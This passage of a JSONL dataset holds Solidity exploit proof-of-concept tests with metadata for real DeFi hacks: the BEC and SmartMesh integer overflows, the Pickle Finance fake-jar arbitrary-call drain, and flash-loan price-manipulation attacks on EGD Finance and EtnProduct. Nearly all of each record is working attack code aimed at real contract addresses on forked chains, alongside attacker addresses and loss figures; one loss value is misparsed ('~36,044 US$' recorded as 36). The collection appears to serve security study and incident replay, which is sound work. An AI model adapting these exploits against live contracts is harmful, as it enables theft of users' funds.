"https://x.com/TenArmorAlert/status/1867950089156575317", "funds_lost_formatted": "$11.0K", "content_richness_score": 8.86, "quality_estimate": "high", "title": "JHY Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface BECToken {\n function balanceOf(\n address account\n ) external view returns (uint256);\n function batchTransfer(address[] calldata _receivers, uint256 _value) external returns (bool);\n}\n\n// https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f\n// https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code Line261\n\ncontract ContractTest is Test {\n address attacker1 = 0xb4D30Cac5124b46C2Df0CF3e3e1Be05f42119033;\n address attacker2 = 0x0e823fFE018727585EaF5Bc769Fa80472F76C3d7;\n BECToken bec = BECToken(0xC5d105E63711398aF9bbff092d4B6769C82F793D);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 5_483_642);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Before Exploit, Attacker1 BEC Balance\", bec.balanceOf(attacker1), 18);\n emit log_named_decimal_uint(\"Before Exploit, Attacker2 BEC Balance\", bec.balanceOf(attacker2), 18);\n\n address[] memory receivers = new address[](2);\n receivers[0] = attacker1;\n receivers[1] = attacker2;\n bec.batchTransfer(receivers, type(uint256).max / 2 + 1);\n\n emit log_named_decimal_uint(\"After Exploit, Attacker1 BEC Balance\", bec.balanceOf(attacker1), 18);\n emit log_named_decimal_uint(\"After Exploit, Attacker2 BEC Balance\", bec.balanceOf(attacker2), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "BEC", "date": "2018-04", "file_name": "BEC_exp.sol", "attack_vector": null, "content_hash": "6fd293f1e1c467d0", "collected_at": "2026-01-07T10:59:16.545655", "_source": "postmortems", "chain": "ethereum", "block_number": 5483642, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Before Exploit, Attacker1 BEC Balance\", bec.balanceOf(attacker1), 18);\n emit log_named_decimal_uint(\"Before Exploit, Attacker2 BEC Balance\", bec.balanceOf(attacker2), 18);\n\n address[] memory receivers = new address[](2);\n receivers[0] = attacker1;\n receivers[1] = attacker2;\n bec.batchTransfer(receivers, type(uint256).max / 2 + 1);\n\n emit log_named_decimal_uint(\"After Exploit, Attacker1 BEC Balance\", bec.balanceOf(attacker1), 18);\n emit log_named_decimal_uint(\"After Exploit, Attacker2 BEC Balance\", bec.balanceOf(attacker2), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.84, "quality_estimate": "low", "title": "BEC Exploit (2018-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 140M\n// Attacker : https://etherscan.io/address/0xd6a09bdb29e1eafa92a30373c44b09e2e2e0651e\n// Vulnerable Contract : https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081\n// Attack Tx : https://etherscan.io/tx/0x1abab4c8db9a30e703114528e31dee129a3a758f7f8abc3b6494aad3d304e43f\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081#code\n\n// @Analysis\n// Post-mortem : https://cryptojobslist.com/blog/two-vulnerable-erc20-contracts-deep-dive-beautychain-smartmesh\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface ISmartMesh {\n function transferProxy(\n address _from,\n address _to,\n uint256 _value,\n uint256 _feeSmt,\n uint8 _v,\n bytes32 _r,\n bytes32 _s\n ) external returns (bool);\n}\n\ncontract SmartMesh is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 5_499_034;\n\n address internal Victim = 0x55F93985431Fc9304077687a35A1BA103dC1e081;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0x55F93985431Fc9304077687a35A1BA103dC1e081);\n }\n\n function testExploit() public balanceLog {\n address _from = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;\n address _to = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;\n uint256 _value = uint256(0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint256 _feeSmt = uint256(0x7000000000000000000000000000000000000000000000000000000000000001);\n uint8 _v = uint8(0x000000000000000000000000000000000000000000000000000000000000001b);\n bytes32 _r = 0x87790587c256045860b8fe624e5807a658424fad18c2348460e40ecf10fc8799;\n bytes32 _s = 0x6c879b1e8a0a62f23b47aa57a3369d416dd783966bd1dda0394c04163a98d8d8;\n ISmartMesh(Victim).transferProxy(_from, _to, _value, _feeSmt, _v, _r, _s);\n }\n}\n", "type": "exploit_poc", "protocol": "SmartMesh", "date": "2018-04", "file_name": "SmartMesh_exp.sol", "attack_vector": null, "content_hash": "dc006fab9fca668b", "collected_at": "2026-01-07T10:59:16.545696", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "140M", "total_lost_usd": 140000000.0, "attacker_address": "https://etherscan.io/address/0xd6a09bdb29e1eafa92a30373c44b09e2e2e0651e", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081", "attack_tx": "https://etherscan.io/tx/0x1abab4c8db9a30e703114528e31dee129a3a758f7f8abc3b6494aad3d304e43f", "postmortem_url": "https://cryptojobslist.com/blog/two-vulnerable-erc20-contracts-deep-dive-beautychain-smartmesh", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "140M", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n address _from = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;\n address _to = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;\n uint256 _value = uint256(0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint256 _feeSmt = uint256(0x7000000000000000000000000000000000000000000000000000000000000001);\n uint8 _v = uint8(0x000000000000000000000000000000000000000000000000000000000000001b);\n bytes32 _r = 0x87790587c256045860b8fe624e5807a658424fad18c2348460e40ecf10fc8799;\n bytes32 _s = 0x6c879b1e8a0a62f23b47aa57a3369d416dd783966bd1dda0394c04163a98d8d8;\n ISmartMesh(Victim).transferProxy(_from, _to, _value, _feeSmt, _v, _r, _s);\n }", "has_exploit_code": true, "keyinfo_total_lost": "140M", "keyinfo_attacker": "https://etherscan.io/address/0xd6a09bdb29e1eafa92a30373c44b09e2e2e0651e", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081", "keyinfo_attack_tx": "https://etherscan.io/tx/0x1abab4c8db9a30e703114528e31dee129a3a758f7f8abc3b6494aad3d304e43f", "analysis_postmortem": "https://cryptojobslist.com/blog/two-vulnerable-erc20-contracts-deep-dive-beautychain-smartmesh", "analysis_twitter": "", "funds_lost_formatted": "$140.00M", "content_richness_score": 7.09, "quality_estimate": "medium", "title": "SmartMesh Exploit (2018-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : around 20 million DAI.\n// Attacker : 0xbac8a476b95ec741e56561a66231f92bc88bb3a8\n// AttackContract : 0x2b0b02ce19c322b4dd55a3949b4fb6e9377f7913#code\n// Attack TX: https://etherscan.io/tx/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0\n// Attack TX: https://ethtx.info/mainnet/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0\n// Exploit code refers to sam. https://github.com/banteg/evil-jar/blob/master/reference/samczsun.sol\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nControllerLike constant CONTROLLER = ControllerLike(0x6847259b2B3A4c17e7c43C54409810aF48bA5210);\nCurveLogicLike constant CURVE_LOGIC = CurveLogicLike(0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8);\n\nIERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\nIERC20 constant CDAI = IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643);\n\nJarLike constant PDAI = JarLike(0x6949Bb624E8e8A90F87cD2058139fcd77D2F3F87);\naddress constant STRAT = 0xCd892a97951d46615484359355e3Ed88131f829D;\n\ncontract AttackContract is Test {\n address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 11_303_122); // Fork mainnet at block 11303122\n }\n\n function testExploit() public {\n uint256 earns = 5;\n\n address[] memory targets = new address[](earns + 2);\n bytes[] memory datas = new bytes[](earns + 2);\n for (uint256 i = 0; i < earns + 2; i++) {\n targets[i] = address(CURVE_LOGIC);\n }\n datas[0] = arbitraryCall(STRAT, \"withdrawAll()\");\n for (uint256 i = 0; i < earns; i++) {\n datas[i + 1] = arbitraryCall(address(PDAI), \"earn()\");\n }\n datas[earns + 1] = arbitraryCall(STRAT, \"withdraw(address)\", address(CDAI));\n\n emit log_named_decimal_uint(\"Before exploiting, Attacker cDAI Balance\", CDAI.balanceOf(address(msg.sender)), 8);\n\n console.log(\"DAI balance on pDAI\", DAI.balanceOf(address(PDAI)));\n\n CONTROLLER.swapExactJarForJar(address(new FakeJar(CDAI)), address(new FakeJar(CDAI)), 0, 0, targets, datas);\n\n emit log_named_decimal_uint(\"After exploiting, Attacker cDAI Balance\", CDAI.balanceOf(address(msg.sender)), 8);\n }\n\n function arbitraryCall(address to, string memory sig) internal returns (bytes memory) {\n return abi.encodeWithSelector(\n CURVE_LOGIC.add_liquidity.selector, to, bytes4(keccak256(bytes(sig))), 1, 0, address(CDAI)\n );\n }\n\n function arbitraryCall(address to, string memory sig, address param) internal returns (bytes memory) {\n return abi.encodeWithSelector(\n CURVE_LOGIC.add_liquidity.selector, to, bytes4(keccak256(bytes(sig))), 1, 0, new FakeUnderlying(param)\n );\n }\n\n receive() external payable {}\n}\n\nabstract contract ControllerLike {\n function swapExactJarForJar(\n address _fromJar, // From which Jar\n address _toJar, // To which Jar\n uint256 _fromJarAmount, // How much jar tokens to swap\n uint256 _toJarMinAmount, // How much jar tokens you'd like at a minimum\n address[] calldata _targets,\n bytes[] calldata _data\n ) external virtual;\n}\n\nabstract contract CurveLogicLike {\n function add_liquidity(\n address curve,\n bytes4 curveFunctionSig,\n uint256 curvePoolSize,\n uint256 curveUnderlyingIndex,\n address underlying\n ) public virtual;\n}\n\ncontract FakeJar {\n IERC20 _token;\n\n constructor(\n IERC20 token\n ) public {\n _token = token;\n }\n\n function token() public view returns (IERC20) {\n return _token;\n }\n\n function transfer(address to, uint256 amnt) public returns (bool) {\n return true;\n }\n\n function transferFrom(address, address, uint256) public returns (bool) {\n return true;\n }\n\n function getRatio() public returns (uint256) {\n return 0;\n }\n\n function decimals() public returns (uint256) {\n return 0;\n }\n\n function balanceOf(\n address\n ) public returns (uint256) {\n return 0;\n }\n\n function approve(address, uint256) public returns (bool) {\n return true;\n }\n\n function deposit(\n uint256 amount\n ) public {\n _token.transferFrom(msg.sender, tx.origin, amount);\n }\n\n function withdraw(\n uint256\n ) public {}\n}\n\ncontract FakeUnderlying {\n address private target;\n\n constructor(\n address _target\n ) public {\n target = _target;\n }\n\n function balanceOf(\n address\n ) public returns (address) {\n return target;\n }\n\n function approve(address, uint256) public returns (bool) {\n return true;\n }\n\n function allowance(address, address) public returns (uint256) {\n return 0;\n }\n}\n\nabstract contract JarLike {\n function earn() public virtual;\n}\n", "type": "exploit_poc", "protocol": "Pickle", "date": "2020-11", "file_name": "Pickle_exp.sol", "attack_vector": null, "content_hash": "946d7bd20228980e", "collected_at": "2026-01-07T10:59:16.545749", "_source": "postmortems", "chain": "ethereum", "block_number": 11303122, "total_lost_raw": "around 20 million DAI.", "total_lost_usd": 20000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "around 20 million DAI.", "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 earns = 5;\n\n address[] memory targets = new address[](earns + 2);\n bytes[] memory datas = new bytes[](earns + 2);\n for (uint256 i = 0; i < earns + 2; i++) {\n targets[i] = address(CURVE_LOGIC);\n }\n datas[0] = arbitraryCall(STRAT, \"withdrawAll()\");\n for (uint256 i = 0; i < earns; i++) {\n datas[i + 1] = arbitraryCall(address(PDAI), \"earn()\");\n }\n datas[earns + 1] = arbitraryCall(STRAT, \"withdraw(address)\", address(CDAI));\n\n emit log_named_decimal_uint(\"Before exploiting, Attacker cDAI Balance\", CDAI.balanceOf(address(msg.sender)), 8);\n\n console.log(\"DAI balance on pDAI\", DAI.balanceOf(address(PDAI)));\n\n CONTROLLER.swapExactJarForJar(address(new FakeJar(CDAI)), address(new FakeJar(CDAI)), 0, 0, targets, datas);\n\n emit log_named_decimal_uint(\"After exploiting, Attacker cDAI Balance\", CDAI.balanceOf(address(msg.sender)), 8);\n }", "has_exploit_code": true, "keyinfo_total_lost": "around 20 million DAI.", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$20.00M", "content_richness_score": 7.53, "quality_estimate": "medium", "title": "Pickle Exploit (2020-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~36,044 US$\n// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd\n// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7\n// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)\n// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)\n// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254\n// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8\n\n// @Analysis\n// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464\n// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776\n\nIPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\nIPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);\nIPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\naddress constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;\naddress constant usdt = 0x55d398326f99059fF775485246999027B3197955;\naddress constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;\n\ncontract Attacker is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 20_245_522);\n\n vm.label(address(USDT_WBNB_LPPool), \"USDT_WBNB_LPPool\");\n vm.label(address(EGD_USDT_LPPool), \"EGD_USDT_LPPool\");\n vm.label(address(pancakeRouter), \"pancakeRouter\");\n vm.label(EGD_Finance, \"EGD_Finance\");\n vm.label(usdt, \"USDT\");\n vm.label(egd, \"EGD\");\n }\n\n function testExploit() public {\n Exploit exploit = new Exploit();\n\n console.log(\"-------------------- Pre-work, stake 100 USDT to EGD Finance --------------------\");\n console.log(\"Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8\");\n console.log(\"Attacker Stake 100 USDT to EGD Finance\");\n\n exploit.stake();\n vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)\n\n console.log(\"-------------------------------- Start Exploit ----------------------------------\");\n emit log_named_decimal_uint(\"[Start] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[INFO] EGD/USDT Price before price manipulation\", IEGD_Finance(EGD_Finance).getEGDPrice(), 18\n );\n emit log_named_decimal_uint(\n \"[INFO] Current earned reward (EGD token)\", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18\n );\n console.log(\"Attacker manipulating price oracle of EGD Finance...\");\n\n exploit.harvest();\n\n console.log(\"-------------------------------- End Exploit ----------------------------------\");\n emit log_named_decimal_uint(\"[End] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(this)), 18);\n }\n}\n\n/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */\ncontract Exploit is Test {\n uint256 borrow1;\n uint256 borrow2;\n\n function stake() public {\n // Give exploit contract 100 USDT\n deal(address(usdt), address(this), 100 ether);\n // Set invitor\n IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));\n // Stake 100 USDT\n IERC20(usdt).approve(EGD_Finance, 100 ether);\n IEGD_Finance(EGD_Finance).stake(100 ether);\n }\n\n function harvest() public {\n console.log(\"Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve\");\n borrow1 = 2000 * 1e18;\n USDT_WBNB_LPPool.swap(borrow1, 0, address(this), \"0000\");\n console.log(\"Flashloan[1] payback success\");\n IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n if (keccak256(data) == keccak256(\"0000\")) {\n console.log(\"Flashloan[1] received\");\n\n console.log(\"Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve\");\n borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve\n EGD_USDT_LPPool.swap(0, borrow2, address(this), \"00\");\n console.log(\"Flashloan[2] payback success\");\n\n // Swap all egd -> usdt\n console.log(\"Swap the profit...\");\n address[] memory path = new address[](2);\n path[0] = egd;\n path[1] = usdt;\n IERC20(egd).approve(address(pancakeRouter), type(uint256).max);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp\n );\n\n bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)\n require(suc, \"Flashloan[1] payback failed\");\n } else {\n console.log(\"Flashloan[2] received\");\n emit log_named_decimal_uint(\n \"[INFO] EGD/USDT Price after price manipulation\", IEGD_Finance(EGD_Finance).getEGDPrice(), 18\n );\n // -----------------------------------------------------------------\n console.log(\"Claim all EGD Token reward from EGD Finance contract\");\n IEGD_Finance(EGD_Finance).claimAllReward();\n emit log_named_decimal_uint(\"[INFO] Get reward (EGD token)\", IERC20(egd).balanceOf(address(this)), 18);\n // -----------------------------------------------------------------\n uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap\n bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);\n require(suc, \"Flashloan[2] payback failed\");\n }\n }\n}\n/* -------------------- Interface -------------------- */\n\ninterface IEGD_Finance {\n function bond(\n address invitor\n ) external;\n function stake(\n uint256 amount\n ) external;\n function calculateAll(\n address addr\n ) external view returns (uint256);\n function claimAllReward() external;\n function getEGDPrice() external view returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "EGD_Finance", "date": "2022-08", "file_name": "EGD_Finance_exp.sol", "attack_vector": "flash_loan", "content_hash": "76f23fb6faca071b", "collected_at": "2026-01-07T10:59:16.545807", "_source": "postmortems", "chain": "bsc", "block_number": 20245522, "total_lost_raw": "~36,044 US$", "total_lost_usd": 36.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~36,044 US$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n Exploit exploit = new Exploit();\n\n console.log(\"-------------------- Pre-work, stake 100 USDT to EGD Finance --------------------\");\n console.log(\"Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8\");\n console.log(\"Attacker Stake 100 USDT to EGD Finance\");\n\n exploit.stake();\n vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)\n\n console.log(\"-------------------------------- Start Exploit ----------------------------------\");\n emit log_named_decimal_uint(\"[Start] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[INFO] EGD/USDT Price before price manipulation\", IEGD_Finance(EGD_Finance).getEGDPrice(), 18\n );\n emit log_named_decimal_uint(\n \"[INFO] Current earned reward (EGD token)\", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18\n );\n console.log(\"Attacker manipulating price oracle of EGD Finance...\");\n\n exploit.harvest();\n\n console.log(\"-------------------------------- End Exploit ----------------------------------\");\n emit log_named_decimal_uint(\"[End] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(this)), 18);\n }\n}\n\n/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */\ncontract Exploit is Test {\n uint256 borrow1;\n uint256 borrow2;", "has_exploit_code": true, "keyinfo_total_lost": "~36,044 US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$36", "content_richness_score": 9, "quality_estimate": "high", "title": "EGD_Finance Exploit (2022-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~3074 USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x72321a3b50bb68ac3b46b0ab973b0e87b6c48ab73d23c4ba2cb73527f978d995\n// Attacker : https://bscscan.com/address/0xde703797fe9219b0485fb31eda627aa182b1601e\n// Attack Contract : https://bscscan.com/address/0x178bf96e303fb31aef1b586271a63acd33e4eaf7\n// GUY : https://x.com/BeosinAlert/status/1555439220474642432\n\ninterface Etnshop {\n function invite(address to, uint256 commId) external;\n function mint(uint256 commId, string memory name, string memory logo) external returns (uint256);\n}\n\ninterface Etnnft is IERC721 {\n function mintETN(string memory uri, string memory name, string memory cid) external payable;\n}\n\ninterface EtnProduct {\n function newProduct(\n uint256 commId,\n uint256 shopId,\n uint256 price,\n string memory name,\n string memory video\n ) external;\n}\n\ninterface Umarket {\n function saleU(\n uint256 _amount\n ) external;\n}\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPancakePair Pair = IPancakePair(0xc9053B00720EB661BBdDC7BD6abA1d222aAd5a71);\n IERC20 U = IERC20(0xaa33085e8Fa2CB903157324603E4601299E5dA06);\n Etnshop Shop = Etnshop(0xBceF2955C8955342E9CC92A090bDaEcFF8c562F8);\n Etnnft NFT = Etnnft(0x48835A9065AF7315916ADfc1f952b7aBebdBFd62);\n EtnProduct etnproduct = EtnProduct(0x1292267f726e6F313972ec4e14578735473e1649);\n Umarket Market = Umarket(0xc0e8D30D2ead2C324b3f1A8386992Ba1Be534CbF);\n address constant dodo = 0x52D1C9E81D2bacDAe4c0E6815E63Db8EFBA5fD37;\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 20_147_974);\n deal(address(BUSDT), address(this), 0 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker BUSDT before exploit\", BUSDT.balanceOf(address(this)), 18);\n\n DVM(dodo).flashLoan(0, 9400 * 1e18, address(this), \"0x123\");\n\n emit log_named_decimal_uint(\"[End] Attacker BUSDT after exploit\", BUSDT.balanceOf(address(this)), 18);\n }\n\n function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public {\n approveAll();\n swap_token_to_token(address(BUSDT), address(WBNB), 7380 ether);\n\n NFT.mintETN{value: 24.15458972 ether}(\"fw\", \"sb\", \"jb\");\n Shop.invite(address(this), 11);\n Shop.mint(11, \"fw\", \"sb\");\n\n etnproduct.newProduct(11, 0, 10_000_000_000, \"jb\", \"sb\");\n\n Pair.transfer(address(Pair), 600_000 ether);\n\n Pair.burn(address(this));\n\n U.approve(address(Market), 9_999_999 ether);\n\n Market.saleU(11_253_734_856_316_884_358_000);\n\n BUSDT.transfer(address(msg.sender), c);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function approveAll() internal {\n WBNB.approve(address(Shop), type(uint256).max);\n WBNB.approve(address(NFT), type(uint256).max);\n BUSDT.approve(address(Shop), type(uint256).max);\n BUSDT.approve(address(NFT), type(uint256).max);\n }\n\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes calldata _data\n ) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "EtnProduct", "date": "2022-08", "file_name": "EtnProduct_exp.sol", "attack_vector": "flash_loan", "content_hash": "89baf6378ac8102d", "collected_at": "2026-01-07T10:59:16.545867", "_source": "postmortems", "chain": "bsc", "block_number": 20147974, "total_lost_raw": "~3074 USD", "total_lost_usd": 3074.0, "attacker_address": "https://bscscan.com/address/0xde703797fe9219b0485fb31eda627aa182b1601e", "attack_contract": "https://bscscan.com/address/0x178bf96e303fb31aef1b586271a63acd33e4eaf7", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~3074 USD", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xde703797fe9219b0485fb31eda627aa182b1601e", "keyinfo_attack_contract": "https://bscscan.com/address/0x178bf96e303fb31aef1b586271a63acd33e4eaf7", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.1K", "content_richness_score": 4.96, "quality_estimate": "low", "title": "EtnProduct Exploit (2022-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1557846766682140672\n// @Contract address\n// https://bscscan.com/address/0xa4f5d4afd6b9226b3004dd276a9f778eb75f2e9e#code\n\ncontract ContractTest is Test {\n IERC20 ANCH = IERC20(0xA4f5d4aFd6b9226b3004dD276A9F778EB75f2e9e);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xaD0dA05b9C20fa541012eE2e89AC99A864CC68Bb);\n Uni_Router_V2 Router = 